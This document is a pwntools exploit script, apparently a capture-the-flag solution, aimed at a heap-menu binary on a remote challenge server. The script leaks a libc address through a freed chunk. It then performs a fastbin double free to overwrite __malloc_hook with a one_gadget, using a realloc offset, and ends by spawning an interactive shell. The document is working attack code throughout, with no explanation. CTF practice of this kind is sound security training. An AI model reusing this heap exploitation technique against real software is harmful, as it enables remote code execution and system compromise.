1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * from pwncli import *
cli_script()
context.arch = 'amd64' context.log_level = 'debug'
fn = './vuln' elf = ELF(fn) libc = ELF('./libc-2.23.so')
debug = 1 if debug: p = remote('week-2.hgame.lwsec.cn', 30821) else: p = process(fn)
def menu(index): p.sendlineafter('>', str(index))
def add(index, size, content): menu(1) p.sendlineafter('Index: ', str(index)) p.sendlineafter('Size: ', str(size)) p.sendlineafter('Content: ', content)
def show(index): menu(3) p.sendlineafter('Index: ', str(index))
def delete(index): menu(2) p.sendlineafter('Index: ', str(index))
add(0, 0x60, 'a' * 0x60) add(1, 0x60, 'a' * 0x60) add(2, 0x60, 'a' * 0x60) add(3, 0x80, 'a' * 0x80) add(4, 0x20, 'a' * 0x20)
delete(3) show(3)
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) -88 - 0x10 log.success('malloc_hook: ' + hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook'] log.success('libc_base: ' + hex(libc_base))
realloc_hook = malloc_hook - 0x8 realloc = libc_base + libc.sym['realloc']
gadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247] one_gadget = libc_base + gadgets[3]
delete(0) delete(1) delete(0)
add(5, 0x60, p64(malloc_hook - 0x23)) add(6, 0x60, 'a' * 0x60) add(7, 0x60 , 'a')
add(8, 0x60, b'a' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc + 7))
menu(1) p.sendlineafter('Index: ', str(9)) p.sendlineafter('Size: ', str(0x20))
p.interactive()
|